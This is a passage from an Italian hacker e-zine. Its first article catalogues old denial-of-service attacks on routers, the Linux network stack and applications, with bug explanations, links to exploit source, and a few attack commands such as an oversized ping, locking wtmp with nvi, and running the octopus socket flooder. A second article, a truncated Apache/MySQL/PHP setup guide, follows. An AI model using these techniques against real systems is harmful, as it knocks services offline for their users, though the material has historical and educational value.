<*> Attacchi contro applicazioni linux

<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>ATTACCHI
ALL'HARDWARE<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>
A volte gli attacchi DOS che paralizzano il software paralizzano anche
l'hardware, ma possiamo trovare anche casi specifici contro router, switch,
hub etc..

Esempi:
* mandando richieste di collegamento da indirizzi IP che non esistono, il
destinatario, non potendo identificare gli indirizzi, può bloccare la
sessione e quindi un servizio o una porta o l'intera rete.

* impegnando tutte le sessioni remote del router che la vittima usa per i
collegamenti, e quindi impedendogli di lavorare.

* mandando in buffer overflow(superamento dei limiti di memoria di particolari
variabili interessate) le routine di login, causando crash o riavvii delle
unità ;)

* riempendo una unità con pacchetti errati e strutturati particolarmente,
causando un accodamento dei pacchetti che i processi child non riescono a
gestire, e quindi crashando.

Sia quello che ho detto finora che quello che vi dirò non vale per tutto
l'hardware di rete, specialmente se nuovo, in quanto i produttori del suddetto
hardware ogni tanto si svegliano e sistemano i bug delle unità e i firmware.

Ora vi illustro più da vicino i maggiori attacchi, tutti corredati da link
utili...prego, prego.

1) Hardware: ASCEND MAX
Attacco : questi router con versione OS 5.0 si possono buttare giuaprendo
una sessione telnet alla 150 e inviando una certa stringa di
testo. Questo riavvierà il router!! ;))
Link :
http://www.real-time.com/nontf/listserv//ascend/Attic/msg14637.html

2) Hardware: ASCEND MAX/PIPELINE
Attacco : con versione OS 5.0 usano Java configurator sulla porta 9, uno
strumento che individua altri Ascend su una rete. Se vengono
mandati pacchetti personalizzati sulla 9....Crash!
Link :
http://www.real-time.com/nontf/listserv//ascend/Attic/msg14637.html

3) Hardware: ASCEND vari modelli
Attacco : Vari modelli crashano se vengono inviati offset TCP di lunghezza
non nulla.
Il codice è presente in C e Perl nel link.
Link : http://www.geocities.com/SiliconValley/Campus/6521/ascend.txt
http://www.geog.ubc.ca/snag/bugtraq/msg01717.html

4) Hardware: CISCO (IOS12.0)
Attacco : questo tipo è vulnerabile ad attacchi di scan UDP alla porta
syslog (514).
Potete usare benissimo NMAP (x winzoz ti attacchi..eheh)
Link : http://www.europe.cisco.com/warp/public/707/3.html

5) Hardware: CISCO 1000
Attacco : con IOS 9.1 e superiori possono essere inchiodati da remoto
Link : http://cert.ip.-plus.net/bullettin-archive/msg00046.html

6) Hardware: CISCO 76x
Attacco : con IOS 4.1 - 4.1.1 - 4.1.2 e superiori forse.. son vulnerabili
per overflow primitivo, quindi telnettandosi al router e
loggandosi con una stringa molto lunga, causando crash o
riavvio!
Link : http://www.cisco.com/warp/public/770/pwbuf-pub.shtml

7) Hardware: CISCO 2500
Attacco : con IOS 10.2 sono vulnerabili alle belle inondazioni di pacchetti
sulla 9.
Link : http://www.tao.ca/fire/bos/old/1/0015.html

8) Hardware: CISCO CATALYST
Attacco : Alcuni modelli di questa unità hanno un servizio TCP non
documentato ;)
Collegandosi a questo servizio, verrà causata un'interruzione di
servizio.
Link : http://www.codetalker.com/advisories/iss/iss-990324.html

9) Hardware: CISTRON RADIUS
Attacco : un bel server ma che incappa..ma strano... in vulnerabilità DoS.
Codice nel link.
Link : http://dataguard.no/bugtraq/1998_2/0128.html

10)Hardware: FLOWPOINT DSL 2000
Attacco : con OS 1.2.3 sono vulnerabili ad un oscuro overflow...per
ottenerlo dovete mandare in overflow il prompt, che può causare
una interruzione del servizio fatale..
Link : http://geog.ubc.ca/snag/bugtraq/msg02636.html

11)Hardware: GENERAL (la maggior parte)
Attacco : Vanno in overflow se vengono lasciate molte sessioni telnet in
sospeso
Link : http://www.tdyc.com/Lists-Archives/bugtraq-9902/msg00053.html

12)Hardware: MICROCOM 6000
Attacco : Gli integratori di accesso sono buggati per attacco primitivo o
da sessioni telnet multiple.
Link : ....ops....

13)Hardware: LIVINGSTONE 1.16
Attacco : Attacco DoS consessioni sospese..
Link : http://www.newwave.net/~optimum/exploits/files/livradius.txt

14)Hardware: LIVINGSTONE POSTMASTER con ComOS minore di 3.3.1
Attacco : vulnerabili ad overflow iniziato dal telnet. Codice nel link.
Link : http://webm43ac.ntx.net/Kurupt/pmcrash.c

15)Hardware: OSICOM ROUTERMATE
Attacco : possono crashare per un attacco di SYN, codice nel link.
Link : http://thc.pimmel.com/files/flood/synk4_c.html

Ora mi sembra che materiale per prove da fare ne avete abbastanza...! Hey, per
le prove, non fate cazzate ma.. compratevi un router o un bel server e lo
attaccate da locale... ;)) uaz .

<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>ATTACCHI A RETI
LINUX<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>
Sono attacchi che hanno come obiettivo...le reti linux. ma va? si.
1) SESQUIPEDALIAN.C
Tipo : frammentazione della cache IP
Versioni : 2.1.89-2.2.3
Risultato : blocca connessione IP
Link :
http://www.educ.umu.se/~bjorn/mhonarc-files/linux-security/msg01261.html
Spiegazione: questo attacco sfrutta un errore nel file ip_fragment.c nella
funzione ip_glue(). Durante il passaggio, i datagrammi IP
vengono frammentati e devono essere riassemblati a
destinazione ( cos'è quella faccia..?! studia il tcp/ip!).
Quando Linux accetta i frammenti di datagrammi IP durante il
processo, li conta. Questo processo continua fino a quando tutti i frammenti
sono stati ricevuti.
Programmando si possono eseguire i conteggi in diversi modi,
esempio:

int main() {
int i=0;
while(i<10) {
i+=1;
printf("
\nTest\n");
sleep(1);
}
}
Anche in ip_fragment il conteggio viene fatto con un ciclo while:

/*copia le porzioni di dati di tutti i frammenti nel nuovo buffer */
fp=qp->fragments;
count=qp->ihlen;
while(fp) {
if((fp->len <0) || ((count + fp->len) > skb->len))
goto out_invalid;
memcpy((ptr+fp->offset), fp->ptr, fp->len);
if (count==qp->ihlen) {
skb->dst=dst_clone(fp->skb->dst);
skb->dev=fp->skb>dev;
}
count+=fp->len;
fp=fp->next;
}
Quando il primo frammento IP ha lunghezza 0, la funzione dst_clone() viene
callata (..chiamata) due volte. Questo crea una entry errata
nella cache. Linux poi interpreta male questa entry pensando che sia in uso
e quindi sbaglia e la lascia "
appesa".Così la prima volta l'attacco crea
una entry semi-permanente. BAsta crearne un po' ;) , infatti la cache è
limitata a 4.096 entry simultanee. Quando viene ragiunto questo numero
vengono bloccate le altre entry. A questo punto la cache è satura e linux
non processa più traffico IP. DoS. Questo attacco è simile a teardrop
(frammenti troppo piccoli), nestea(troppo grandi), e ping della
morte(pacchetti ping sovradimensionati).

2) demone inetd e NMAP
Tipo : scansione stealth
Versioni : 2.x
Risultato : molteplice..
Link : http://geek-girl.com/bugtraq/1998_4/0709.html
Spiegazione: NMAP è un comodissimo scanner di rete con possibilità di
scansioni stealth dove le porte vengono aperte ma non si da il tempo al
demone di creare un processo child(inviando un pacchetto con flag RST,
reset), quindi non si è loggati. Si possono mandare down FTP, HTTP,
telnet..ma su versioni abbastanza obsolete..

3) richieste di stampa lpd contraffatte
Tipo : Attacco autenticazione lpd
Versioni : lpr-0.33-1 su Red Hat
Risultato : sospensioni stampa e richieste di stampa future.
Link : http://mlug.missouri.edu/list-archives/9812/msg00059.html
Spiegazione: Lpd è il daemon della stampante di linea, gestisce l'area di
spool. Nelle versioni interessate, possiamo inviare richieste di stampa a
server su cui non abbiamo nessun account. Lpd non è in grado di riconoscere
o autenticare l'utente e quindi crasha, e con lui i processi di stampa
avviati e futuri..

4) MIMEFLOOD.pl (estensione *.pl è per programmi in perl!)
Tipo : Flooding di intestazioni MIME
Versioni : Apache 1.2.5 e superiori
Risultato : Il server web...muore ;)
Link : http://www.geocities.com/SiliconValley/Campus/6521/flood.txt
Spiegazione: Apache è il web server di default (httpd) sulla maggior parte
di sistemi pinguino moderin. Gestisce molti tipi di MIME diversi. Nella
1.2.5 e in alcune versioni successive, Apache non limita il numero di
richieste MIME che un client può fare...il codice flooda Apache con
intestazioni MIME causando il solito..crash. ;)

5) PORTMAP (ed altri rpc)
Tipo : DoS SlowPoke
Versioni : Servizi rpc in 2.0.33 e sup.
Risultato : blocco servizi rpc
Link : http://geek-girl.com/bugtraq/1998_1/0499.html
Spiegazione: rpc=remote procedure call, possiamo inviare comandi dal client
per esecuzione su server remoto. Il server remoto esegue il comando nel suo
spazio di indirizzo. Diversi sistemi e applicazioni usano RPC, anche NFS..
Lsciando in sospeso i servizi rpc, collegandosi alle loro rispettive porte e
inviando spazzatura ogni tanto, crasha la connessione slowpoke.

6) DoS a time e daytime
Tipo : Scansione stealth
Versioni : 2.0.x e superiori
Risultato : crash
Link : http://www.insecure.org/nmap
Spiegazione: I protocolli time e daytime girano sulle 13 e 37 (rfc 868,rfc
867).
I bersagli crashano quando noi facciamo scansioni stealth su queste porte,
attraverso la connessione mezza aperta che non risultano come sessioni
attive.

7) Teardrop
Tipo : Sovrapposizione di frammentazione IP
Versioni : 1.x - 2.x e varie altre
Risultato : crash, riavvio, blocco
Link : http://www.ryanspc.com/exploits/teardrop.c
Spiegazione: rivela un errore nelle vecchie versioni di ip_fragment.c alla
funzione ip_glue() ma non scoppia fino alla funzione ip_frag_create().
Durante il passaggio i datagrammi IP vengono frammentati e riassemblati a
destinazione. ip_fragment gestisce tutto ciò.
Nelle vecchie versioni ip_glue() controllava i frammenti più grandi
ma..non quelli più piccoli..! Se attacchiamo forzando una lunghezza di
frammento negativa, ip_glue() assegna valori errati. Quando i valori passano
a ip_frag_create() linux tenta di copiare grandi quantità di dati. Crash! M$
Window$ NT dava come errore STOP 0x0000000A o 0x00000019 e moriva!
/* ....ho un leggero dolore ai polpastrelli.....pausa.. SLEEP(1000); ;) ...*/
8) NESTEA.C
Tipo : sovradimensionamento di frammentazione IP
Versioni : 2.x - 2.1e altre
Risultato : Crash
Link : http://webstore.fr/~tahiti/nestea.txt
Spiegazione: Stessa cosa di ip_fragment.c con ip_glue().
Sbaglia a controllare adeguatamente le dimensioni di ogni frammento. Il
massimo permesso è di 60 byte e Linux va in crash quando riceve frammenti
più grandi.... c'è ancke nestea2.c

9) PONG.C
Tipo : fluso ICMP
Versioni : attacco ai router, generiche
Risultato : morte..eheh
Link :
http://pc45.informatik.unibw-muenchen.de/computer/security/sources/pong.c
Spiegazione: Se attacchiamo inviando richieste ICMP usando indirizzo falso
(tipo smurf). L'indirizzo è quello dell'obiettivo. La richiesta ICMP viene
quindi indirizzata verso host multipli sulla rete del bersaglio. Questi
rispondono a turno riempendo l'obiettivo di risposte. Se la rete del
bersaglio ha tanti host...l'obiettivo è fottuto.. ;)

10)Ping Della Morte
Tipo : pacchetti ping sovradimensionati
Versioni : dipende dalla macchina...ancora i voga
Risultato : crash system
Link : http://bob.urs2.net/computer_security/C%20source%20code/
Spiegazione: sintassi "
ping momehost ". ma va? si.
test.. : "
ping -l 65510 tuo_host
Non funge contro windoe$ 98

11)OCTOPUS.C
Tipo : saturazione tabella di processo
Versioni : Tutte ;))
Risultato : Sovraccarico processo, crash, DoS
Link : http://www.sekurity-net.com/scripts/octopus.c
Spiegazione: apre il maggior numero possibile di socket sul bersaglio .
Octopus va sulla 25 (smtp). Durante l'attacco, una workstation remota può
essere messa down saturando la tabella dei processi attraverso chiamate
multiple a sendameil. Questo perchè la 25 è di default. Se la tabella di
processo della vittimazza, configurata alla creazione del kernel, viene
riempita, gli uteneti non saranno più in grado di eseguire comandi da shell.
Anche la maggior parte dei MUD vanno in crash quando il numero dei socket
superano una certa quantità. Questo attacco è difficile da anticipare in
quanto inizia in modo legittimo accedendo a servizi legittimi. Purtroppo
però Octopus non fornisce meccanismi di spoofing ed è limitato non solo dai
socket disponibili sulla vittima, ma anche da quelli della macchina da cui
parte l'attacco. E' possibile aumentare questo numero spippolando sul kernel
(kernel hacking), ma pochi DoS-atori si prendono la briga di farlo.Questo
attacco ha la pecca di consumare risorse da entrambe le parti...
Per provarlo..scaricatelo e compilatelo (#gcc octopus.c -o octopus).
Ora avviate il prog. Per default apparirà l'"usage".

sgihack 4% octopus
Usage: octopus address [port]
where address is a numeric internet address
and port is an optional port number (default=25)

Quando viene lanciato contro la vittimazza sfigata,lascia questo tipo di log

250 October 10 01:00:12 Target sendmail: connect from ->
-> linux.snhyper.net (192.168.0.1)
5 October 10 01:58:52 Target sendmail: NOQUEUE: SYSERR(root): ->
-> daemon: cannot fork: Resource temporarily Unavailable
1 October 10 01:58:52 Target sendmail: NOQUEUE: SYSERR(root): ->
-> daemon: cannot fork: Resource temporarily Unavailable ->
-> [filter /usr/sbin/sysmonpp failed: Resource temporarily Unavailable]
3 October 10 01:59:21 Target ypbind: broadcaster ->
-> fork failure: Resource temporarily unavailable

Quindi se nei log trovate una richiesta di connessione tipo questa...

<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>ATTACCHI A APPLICAZIONI
LINUX<=<*>=><=<*>=><=<*>=><=<*>=>

1) NETSCAPE COMMUNICATOR Content Type(1)
Tipo : Errore di bus forzato
Versione : Netscape Communicator 4.05 + 4.5b(1)
Risultato : Communicator crasha subentra un errore di bus
Link : http://geek-girl.com/bugtraq/1998_4/0034.html
Spiegazione: I server e i web browser Web possono interpretare diversi tipi
di MIME. I più comuni sono text/html e text/plain e i Webmaster inseriscono
spesso qesti due all'inizio di un documento. Questo dice al browser come
trattare i dati. Per esempio, dopo aver definito le variabili e tolto i
metacaratteri pericolosi dagli input degli utenti negli script cgi, di
solito si include una frase " content type print " per notificare al browser
dove iniziano i dati del messaggio. Esempio:

#!/usr/local/bin/perl

if ($ENV{'REQUEST_METHOD'} eq 'POST'
{
read(STDIN, $buffer, $ENV{'CONTENT_LENGHT'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs)
{
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9]/pack("C", hex($1))/eg;
$value =~ tr/,/ /;
$contents{$name} = $value;
}
}
print "content-type: text/html\n\n;
[on-the-fly-HTML-and-output-goes-here]

Netscape Communicator 4.05 e 4.5b(1) sono vulnerabili a un attacco DoS di un
semplice content type. Webmaster malintenzionati..non noi... ;))) .. possono
creare uno script che offre la seguente dichiarazione:

print "
Content-type: internal/parser\n";

Quando NEtscape scarica questi dati....crasha ;)

2) NETSCAPE COMMUNICATOR Content Type(2)
Tipo : Overflow di buffer
Versioni : 4.07 - 4.5
Risultato : Pericoloso...shell ad utenti remoti...ma chi la vorrebbe?!? ;)
Link :
http://www.shout.net/nothing/buffer-overflow-1/view-buffer-overflow-1.cgi
Spiegazione: Netscape memorizza diversi tipi di MIME conosciuti. Puotete
vederli aprendo Edit->Preferences->Applications.
Quando Communicator trova un tipo sconosciuto, uno che non è nella lista
delle applicazioni, visualizza una finestra di dialogo che permette di
recuperare un plug-in. Communicator crea la finestra di dialogo usando la
funzione sprintf() con un buffer da 1Kb. Questa funzione non esegue
controlli lui limiti, e quindi noi attaccando da un sito remoto possiamo
sovraccaricare il buffer usando il comando giusto. Da una shell attiva sulla
vittimazza, e quindi eseguire comandi.

3) BLocco su wtmp
Tipo : blocco
Versioni : io ho provato su alcune Red Hat, e alcune Debian e funzionava.
Risultato : Nessuno può collegarsi
Link : --
Spiegazione: wtmp (/var/log/wtmp o sui vecchi /var/adm/wtmp) registra tutti
i collegamenti e le disconnessioni. Questo è il file che viene generato da
"
last" per riportare l'ultimo collegamento:

[Snhyper@Charlotte]# last anon
anon ftp2887 UNKNOWN@linux.samsha Mon Oct 15 00:13 - 00:13 (00:00)
anon ttyq1 linux2.snhyper.net Mon Oct 15 00:12 - 00:12 (00:00)
anon ttyq1 linux2.snhyper.net Sun Oct 14 23:13 - 23:13 (00:00)
anon ftp2599 UNKNOWN@linux.samsha Sun Oct 14 23:07 - 23:07 (00:00)
anon ftp2589 UNKNOWN@linux.samsha Sun Oct 14 23:02 - 23:02 (00:00)
anon ftp2563 UNKNOWN@linux.samsha Sun Oct 14 23:00 - 23:00 (00:00)
anon ftp2025 UNKNOWN@linux.samsha Sun Oct 14 22:58 - 22:58 (00:00)
wtmp begins Sun Gen 18 15:32

NEi sistemi interessati, utenti locali senza privilegi possono bloccare wtmp
e impedire i collegamenti usando "
nvi" per editare wtmp. "nvi" per i
windowziani è un clone dell'editor BSD originale "
vi". L'attacco è:

snhyper$ nvi /var/log/wtmp

Altri attacchi , tra cui molti validi sono:

<*> Ascend Kill II
Riavvia alcuni router Ascend inviando alla 9 pacchetti UDP distorti.
http://www.jabukie.com/Unix_sourcez/akill2.c

<*> biffit
Blocca sistemi BSD (free/net) bombardandoli con pacchetti UDP. Prende ancke
alcune Slackware.
http://bob.urs2.net/computer_security/C%20source%20code/biffit.c

<*> coke
Consuma memoria, spazio su disco e altre risorse su sistemi Windows
martellando WINS
http://bob.urs2.net/computer_security/C%20source%20code/coke.c

<*> collide
Apre numerose sessioniTCP sul bersaglio.
http://www.nauticom.net/www/acidwarp/code/collide.c

<*> echock
Killer di ICMP ECHO cje implementa tempeste di pachetti ICMP.
http://www.nauticom.net/www/acidwarp/code/echock.c

<*> fraggle
Tempesta di pacchetti simil-smurf via UDP
ftp://ftp.technotronic.com/denial/fraggle.c

<*> hanson
Crasha i bersagli lanciando mIRC
http://webm43ac.ntx.net/Kurupt/hanson.c

<*> ipbomb
bombarda di pacchetti IP di diverse dimesioni
http://home.earthlink.net/~omara2/files/ipbomb.c

<*> ircd_kill
Stacca dalla rete i server Irc forzando un errore di segmentazione
(segmentation fault) ;))
http://www.firosoft.com/security/phihlez/utilities/irc/ircd_kill.c

<*> Jolt
Invia frammenti di pacchetti sovradimensionati a host Windows 95. QUando la
vittimazza che tiene ancora W95 cerca di riassemblare quei frammenti...si
blocca.
http://esi.us.es/~roman/ircutils/jolt.html

<*> n00k
Bombarda di pacchetti ICMP con ICMP irraggiungibili
http://www.rat.pp.se/hotel/panik/archive/n00k.c

<*> pepsi
Il pepsi.c originale, che inonda l'host generando UDP casuali ! Rende casuale
anche l'indirizzo sorgente... ;)
http://thc.pimmel.com/files/flood/pepsi_c.html

<*> Out of Band
OOB si appoggia sul settaggio della flag URGENT nei pacchetti. WinNT si
aspetta un certo tipo di dati dopo quella flag. Quando non riceve quelli
attesi, poveretto, va a gambe all'aria..! ;)
http://bob.urs2.net/computer_security/C%20source%20code/oob.c

<*> rwhokill
Forza rwhod a creare file di spool spaventosamente grandi.. ;)
http://www.sekurity-net.com/newscripts/rwhokill.c

<*> sunkill
Attacco DoS speciale per sistemi Sun SOlaris 2.5.1 e più.
http://underground.simplenet.com/central/exp-jan/sunkill.c

Oltre a questi attacchi, la magior parte dei qualo creati per DoS-are.., un
utente bastardo dentro ( chi? io?! no..) può eseguire altre azioni in grado di
mandare down i server.

Se osservate bene, molti servizi TCP iniziano a consumare le risorse subito
dopo aver aperto una sessione col client. Non è neanche necessario che il
server recuperi informazioni per il client. Dato che la connessione è gia
aperta, il server probabilmente ha gia iniziato un processo. Sebbene alcuni
servizi di rete ora facciano almeno controlli minimi per l'utilizzo eccessivo,
per es. sendmail, noi possiamo aggirarli eseguendo lentamente l'attacco alle
tabelle di processo. Questo è un approccio più sofisticato e carino rispetto
agli attacchi precedenti, moltio dei quali martellavano un server ad alta
velocità.

Per quanto riguarda attacchi DoS involontari.., ne esistono pochi. Anche
quando utenti non stanno cercando deliberatamente di interrompere il servizio,
le loro attività di solito vengono proibite o, nel peggiore dei casi, sono
violazioni accettabili. Un esempio tipico è quando gli utenti fanno spam fuori
dalle reti usando un indirizzo non valido che tuttavia è riconducibile alla
rete. Potrebbero ottenere una lista di indirizzi e-mail in un file di testo
(un indirizzo per riga) e fare qualcosa di veramente stupido, come includere
una funzione come questa nel loro script di spam:

$lines_in_file='wc email_addresses.txt':
@get_lines=split(//, $lines_in_files);
$no_of_email_addresses=$get_lines[0];
$email_address_count=0;
while($email_address_count < $no_of_email_addresses) {
$mailout_addresses= "
123$email_address_count\@tua_rete.com";
$email_address_count++;
}

Il risultato è un incremento di $mailout_address:

1231@tua_rete.com
1232@tua_rete.com
1233@tua_rete.com
1234@tua_rete.com
1235@tua_rete.com

Questo processo continua, incrementando di uno per ogni destinatario email
specificato nel file di indirizzi, fino a quando lo spam è completo.

Molti server di posta useranno l'indirizzo contraffatto come percorso di
ritorno. Il risultato è..come potete ben capire..che sia i messaggi
rimbalzati, sia queli che arrivano da destinatari arrabbiati sono diretti al
vostro srever di posta. Siccome il server non può identificare l'utente
specificato, genera un errore e lo notifica al mittente. Se l'utente invia
abbastanza messaggi contraffatti, il traffico di ritorno può mandare giù il
server di posta... ;)
E' un attacco sufficiente per una revoca dell'account ma...non sufficiente per
il tempo perso dal sysadm del server.. ;)

E con questo chiudo perchè mi sono rotto... socket.close..



Tnx && Bye to: FuSyS, Nobody, Naif, Tritemius, embyte, Nextie, Raptor,
Morpheo,
SirPsychoSexy, MoF, UIHA

e quelli che ho tralasciato


Fucks to...anyone

For contact : snhyper@hotmail.com

[[[[[[ ..::SNHYPER::.. ]]]]]]
* Security Develover *
Linux registered user #249109
Linux registered machine #133922


-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk
HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF
Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q
nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ
4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW
dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7
5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S
SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU
EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z
yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5
LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U
ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K
=uAC7
-----END PGP PUBLIC KEY BLOCK-----


|-----------------------------------------------------------|
|Art. N° <4> : "
Configuriamoci MySql, Apache, Php..." di e4m|
|-----------------------------------------------------------|


__________________________________________________________________
|"
*"|Coded by e4m____________________________________________|*|-|x|
|101010101010101010101010101010101010101010101010101010101010101010|
|010101010101010101010101010101010101010101010101010101010101010101|
|010101010101010111010101001000100010100100101001010101010410101010|
|10| \ 01010101 / \101010101/ \/ \01000|
|10| ________| 01010101/ /| |01010101/ \1011|
|10| |________ 010101 / /0| |0101010| /\ /\ |100|
|01| | 101011/ /01| |0101010| /0 \ /01\ |110|
|10| ________| 10100/ /010| |0101010| |01 \/010 | |010|
|01| |0101010110101/ /0100| |0101001| |010101010| |110|
|01| |01010101010_/ \0110| \____ | |010101010| |011|_____
|10| |/ \ | \01010101/ |100|!!!!/
|01|______________/|_______ ___________||_____\010101/_____|011|!!!/
|011010010101010101011101010| |010101001010101010101010101010101|!!/
|010101011010101100100101010| |010101010101010101010101010101010|!/
|010010100101001010010101001|____|010101011101010101010101001101010|/
--------------------------------------------------------------------

Questo tute HowTo si compone in varie parti infatti e' un po' grandicello ma
bellino sono ormai giorni che faccio prove ..finalmente posso spiegarvi tutto!
Allora,andiamo per ordine parleremo del Mysql Apache e Php poi vi daro' degli
esempi e spieghero' qlc Bughetto :)

  
Un mega saluto alla crew #Bfc :)
Un altro saluto a tutti i nick ke mi conoscono ..Finalmente Www.bfc.too.iT e'
aperto :) Inoltre saluto tutti i coglioni come skramer che non sanno
dove acquistare l'hardware per la programmazione dei chip :> Mi fermo con i
saluti ed inizio la mia lunga fase di tintinnio sulla tastiera...
Allora, mi sono trovato ultimamente a mettere le mani con i Server per
l'esattezza WebServer Dinamici,con un sistema di scripting che gestisca le
pagine
e un megadatabase che memorizzi i dati da pubblicare. In questo caso opereremo
in LInux in cui i fattori preferiti sobno Apache , php e Mysql; in win
sono Ac-cess :) Sql server ed Internet Information Server (iis).. anche se e'
facilissimo configurare anche Apache.Anche se non e' sicuro al 100% in win
soprattutto nelle macchine 98!! Se proprio volete fare i pazzi scaricatevi
anche le patch! Vi spiego in grandi linee come configurare Apache in Win:


+================================+
|[How-To-Configure-Apache-in-Win]|
+================================+

Questo demone e' il piu facile da settare in win (almeno per me), innansitutto
scaricatelo : http://httpd.apache.org/dist/httpd/binaries/win32/
Ora installandolo ci uscire la seguente schermata oltre Nome etc...

Server name:
Domain name:
Administrative email account:

Potrete impostate le prime 2 a 127.0.0.1 oppure se avete gia'un dominio etc
inserite i dati. Io vi consiglio un flessibile e gratuito dominio con
Dns2go.com Qui potrete scaricarvi un Redirecter che trasformera' semplicemente
il vostro ip in un dominoio che sceglierete FREE. Ad esempio
e4m.linux-site.net oppure e4m.dns2go :) Tornando a noi,ora potete provare il
vostro demone (Dopo aver riavviato :) Ora agisce la consolle
Start/Programmi/Apache httpd server/Start Apache in Console che e' un
programmino ceh lascerete in Tray (Sempre o almeno fin a quando volete far
girare il server e provate ad inserire Offilne nel vostro Internet Explerror
:P Localhost ossia (127.0.0.1) Ora vi apparira' la scritta "Funziona! Il
Server Web Apache e' stato installato su questo sito Web.. se e' tutto ok! Se
invece avete sbagliato qlc non vi apparira' nulla (Rileggete quanto ho
scritto..) Ora capiremo velocemente cone Funzionano i Log
e come inserire le vostre paginette. Allora nella cartella in cui avete
installato apache esempio (C:\Programmi\Apache Group\Apache\) troverete una
cartella
di nome htdocs qui troverete una cartella (manual) da non cancellare e vari
files tra cui file html e jpg in pratica sono quelle pagina con scritto
Complimenti hai installato etc... cancellali ma lascia la cartella MANUAL!! li
"
C:\Programmi\Apache Group\Apache\htdocs" metti i tuoi files. Puoi anche
reindirizzare il file di configurazione in un altra directory(ad esempio se vi
rompete di scopstare un intera directory li' potete farlo ora vi faccio
vedere. C'e' da ricordare che la pagina iniziale deve sempre avere il nome di
Index.html . Ritornado al discorso della directory da non spostare e' facile
configurare il file appunto HTTPD.CONF C:\Programmi\Apache Group\Apache\conf .
Tutte le righe con questo prefisso "
#" sono di commeto. Ora..
Aprite httpd.conf con notepad , cercate le stringhe C:\Programmi\Apache
Group\Apache\htdocs , modificatele con la cartella dove si trova il sito
(esempio c:\sito\cazzolo)..Attenzione se indicherete cio' al file conf tutte
le sottodirectory saranno accessibili in OnlyRead (Sola lettura) anche
(C:\sito\cazzolo\password\)!! Quindi c'e' da starsi attenti! Fatto cio'
(potete anche evitare) vediamo i log.
Eccone uno! Facilissimo da leggere Impostate il carattere TERMINAL se siete su
win Per leggere bene


127.0.0.1 - - [27/Apr/2001:16:14:47 +0200] "
GET /apache_pb.gif HTTP/1.1" 304 -


|___________________|_________|__________________|_____________________|
Ip dell'utente Giorno Ora il file Operazione
Connesso che ha visualizzato


Possono esserci varie operazioni tra cui errori come il famoso 404 file not
found! 304 indica operazione avvenuta! Invece se parite il log degli errori
troverete il tutto spiegato [error] e File not found 404 :) Contenti?? Ora ci
siamo se avete fatto un server Dns2to avviatrelo e fate nel vostro browser
Vostro.sito.dominio.com esempio e4m.linux.com (SEMPRE AVENDO LA CONSOLLE
APERTA) ..visto?? funziona!!!


Quindi abbiamo fatto la prima cosa (la piu facile ora ci tocca ora rebottiamo
in linux come Root connettiamoci scarichiamo i sorgenti:
www.php.net www.mysql.com www.apache.org :) Pronti??? Si parte ...

+=================================+
|[How-To-Configure-MySql-In-Linux)|
+=================================+

Ecco MySql (la base di tutto!) Ora installiamolo:

#tar zxvf mysql-x.xx.xxx.tar.gz
(le x sono la versione esempio 2.0)

Otterremo una new directory MySql.x.xx.xxx entriamo e facciamo come sempre:

#cd mysql-x.xx.xxx
#./configure -
prefix=usr/local/mysql

Non dovrebbe causare alcun errore per essere piu sicuri e vedere tutte le
possibili funzioni legate a configure fate:

#./Configure -help

Cosa vedere di new? "
-prefix" per indicare con questa direttiva che vogliamo
installare ogni parte del nostro programma in una dir ben definita. Al termine
di cio' compiliamo ed istalliamo normalmente con:

#make
#make install

A questo punto e' installato MySql ma per concludere dobbiamo creare delle
tabelle nel nosto database che riguardano gli utenti che possono accedere a
MySql :

#/usr/local/mysql/bin/mysql_install_db

Poi impostiamo la pass per l'utente root per proteggere il nostro database
Noteremo una (-p) che ci servira' per poter eseguire i programmi:

#/usr/local/mysql/bin/mysqladmin -u root (-p)
password `new pasword'

Vi consigliodi creare un new utente e un new groppo sotto i cui permessi sara'
eseguito mysql.Useremo il comando "
Chown ricorsivo" (-R),cio' garantira'
maggiore sicurezza :

#groupadd mysql
#useradd -g mysql mysql
#chown -R mysql.mysql
/usr/local/mysql

Lanciamolo finalmente:

#/usr/local/mysql/bin/
safe_mysqld -user=mysql &

Questo comando dovrebbe essere inserito in uno script d'avvio in modo da non
riscfriverlo ogni volta che dovete runnare Mysql. Avete presente i file batch
in Dos? Ecco in linux userete gli Script!


+==========================================+
|[How-To-Configure-Apache and Php-In-Linux)|
+==========================================+


Adesso che abbiamo installato MySql Installeremo Php e Apache che
interaggirano col nostro database. Scompattiamo gli archivi!

#tar zxvf php-x.x.x.tar.gz
#tar zxvf apache_x.x.x.tar.gz

Configuriamo apache:

#cd apache_x.x.x
#./configure

Per php e' un po' diverso:

#cd ../php-x.x.x
#./configure
mysql=usr/local/mysql -with-
apache=../apache_x.x.x -enable-
track-vars
#make
#make install

Alcuni di questi parametri sono utlili per utilizzare Php assieme a Mysql e ad
